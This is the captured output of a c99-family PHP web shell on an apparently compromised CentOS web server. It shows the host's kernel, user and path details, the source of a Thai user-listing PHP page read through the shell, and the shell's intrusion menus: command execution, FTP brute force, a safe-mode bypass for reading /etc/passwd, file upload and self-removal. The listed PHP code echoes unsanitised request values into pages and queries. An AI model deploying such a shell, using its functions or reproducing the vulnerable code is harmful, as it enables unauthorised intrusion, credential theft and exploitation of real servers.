!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/ums/   drwxr-xr-x
Free 52.34 GB of 127.8 GB (40.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     umShowUser.php (4.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once("pagebody.php");
pageHeader();
$pageTitle="รายชื่อผู้ใช้";
?>
<table width=100% class="pageTitleBgColor" align="center">
<tr><td align=center><? echo $pageTitle; ?></td></tr>
</table>
<!--your code here-------------------------------------------------------------------------->
<br>
<?
include_once("clsUmUser.php");
include_once("clsUmWgroup.php");
include_once("clsUmGroup.php");
include_once("clsUmUserGroup.php");
$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
$oUs = new umuser($oC);
$oGp = new umGroup($oC);
$oUg = new umusergroup($oC);
$oWg = new umwgroup($oC);

$oGp->RSumgroup();
$aGp = array();
while($oGp->GetRecord()){
	$aGp += array($oGp->GpID=>$oGp->GpNameT);
}
$oGp->Close();

$oUs->SearchByNameWGroup($loginname, $name, $UsWgID);
?>
<form id='form1' action=umShowUser.php id ='form1' method='POST'>
<table class="TableBodyBgColor" cellspacing=0 cellpadding=0  align=center  border=0>
  <tr  valign="middle" align="center">
   <td ><b>&nbsp;ค้นหา</b>&nbsp;&nbsp;&nbsp;ชื่อ-นามสกุล</td>
   <td><input type="text" name="name" value="<?=$name?>"> </td>
	<td >&nbsp;&nbsp;&nbsp;ชื่อเข้าใช้ระบบ</td>
   <td><input type="text" name="loginname" value="<?=$loginname?>"> </td>
   <!--
	<td >&nbsp;&nbsp;&nbsp;กลุ่มผู้ใช้</td>
   <td><? echo $oWg->selectHTML("UsWgID", $UsWgID)?> </td>
    -->
	<td colspan=4  align=center>&nbsp;&nbsp;<input type=submit value="   ค้นหา   " align=center></td>
 </tr>
</table>
</form>
<?
//set num row per page
if($nrpp=="")
	$oUs->rowPerPage=30;
else 
	$oUs->rowPerPage=$nrpp;
if ($pg=="") $pg=1;
$oUs->gotoPage($pg);

//$oTbl = new clsTable(array("#","รหัสผู้ใช้","ชื่อ-สกุล","ชื่อผู้ใช้","กลุ่มผู้ใช้","กลุ่มงาน","ดำเนินการ"));
$oTbl = new clsTable(array("#","รหัสผู้ใช้","ชื่อ-นามสกุล","ชื่อเข้าใช้ระบบ","กลุ่มงาน","ดำเนินการ"));
$oTbl->align="center";
$oTbl->headerBgColor="#dddddd";
$i=$oUs->frRowNum+1;
$j=0;
while ($oUs->GetRecord()){
	$oTbl->rowStart($i%2);
	//$oTbl->addCell($oUs->UsID ,"center");
	$j++;
	$oTbl->addCell($j ,"center");
	$oTbl->addCell($oUs->UsPsCode);
	$oTbl->addCell($oUs->UsName);
	$oTbl->addCell($oUs->UsLogin);
	//	$oWg->SearchByKey($oUs->UsWgID);
	//	$oWg->GetRecord();
	//$oTbl->addCell($oWg->WgNameT);
	$ss="";
	$oUg->RSgroupByUs($oUs->UsID);
	while ($oUg->GetRecord()){
		$oGp->SearchByKey($oUg->UgGpID);
		$oGp->GetRecord();
		$ss.=$oGp->GpNameT."<br>";
	}
	$oTbl->addCell($ss);
/*	$s="<a href=\"umEditUser.php?UsID=" . $oUs->UsID . "\"><img src=\"images/edit.gif\" alt=\"แก้ไข\"  border=\"0\"></a>
		<a href='#'  onClick=\"doDelete(document.form1, '$oUs->UsLogin', $oUs->UsID)\" ><img src=\"images/del.gif\" alt=\"ลบ\"  border=\"0\"></a>
		<a href=\"umPermission.php?UsID=" . $oUs->UsID . "\"><img src=\"images/menu.gif\" alt=\"กำหนดสิทธิ์การใช้รายคน\"  border=\"0\"></a>
		<img src=\""; */
	$s="<a href=\"umEditUser.php?UsID=" . $oUs->UsID . "\"><img src=\"images/edit.gif\" alt=\"แก้ไข\"  border=\"0\"></a>
		<a href=\"umPermission.php?UsID=" . $oUs->UsID . "\"><img src=\"images/menu.gif\" alt=\"กำหนดสิทธิ์การใช้รายคน\"  border=\"0\"></a>
		<img src=\"";
	if ($oUs->UsActive==1) 
		$s.="images/useractive.png\" ";
	else 
		$s.="images/userlock.gif\" ";
	$s.="alt=\"set/unset active\"  border=\"0\">";
	$oTbl->addCell($s,"center");
 	$oTbl->rowEnd();
 	$i++;
}

$oTbl->rowStart(0,$oTbl->footerBgColor);
$oTbl->addCell("&nbsp;","","",5);
/*$oTbl->addCell("<a href=\"umAddUser.php\">
				<img src=\"images/new.gif\" alt=\"เพิ่มระบบงาน\" border=\"0\"></a>","center");
				*/
$oTbl->addCell("&nbsp;","center");				
$oTbl->rowEnd();
$oTbl->rowStart();
$s="";
$mxPage=$oUs->numPages();
for ($i=1; $i<=$mxPage; $i++){
	$s.="<a href=umShowUser.php?pg=$i&nrpp=$nrpp&name=$name&PsDptID=$PsDptID&name=$name&UsWgID=$UsWgID>";
	if ($i==$pg)
		$s.=" <b>$i</b> ";
	else 
		$s.=" $i ";
	$s.="</a> ";
	if ($i % 30 ==0) $s.="<br>";
}
$oTbl->addCell($s,"center","",6);
$oTbl->rowEnd();
echo $oTbl->output();

//echo "<tr class=TableFooterBgColor>";
//echo "<td colspan=\"4\">&nbsp;</td>";
//echo "<td colspan=\"4\" align=\"center\"><a href=\"umAddSystem.php\"><img src=\"images/new.gif\" alt=\"เพิ่มระบบงาน\" border=\"0\"></a></td>";
//echo "</tr>";

////////////////////////
?>
</br>
<!--------------------------------------------------------------------->
<? 
$oUs->Close();
pageFooter(); 
?>
<!--------------------------------------------------------------------->
<!--put javascript here-->
<script language="javascript">
function doDelete(f,txt,ID){
	if (confirm('ต้องการลบผู้ใช้ ' + ID + ':' + txt +  ' ใช่หรือไม่') ) {
		window.location="processUmUser.php?method=delete&UsID=" +ID;
	}
}

//document.form1.login.focus();
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]--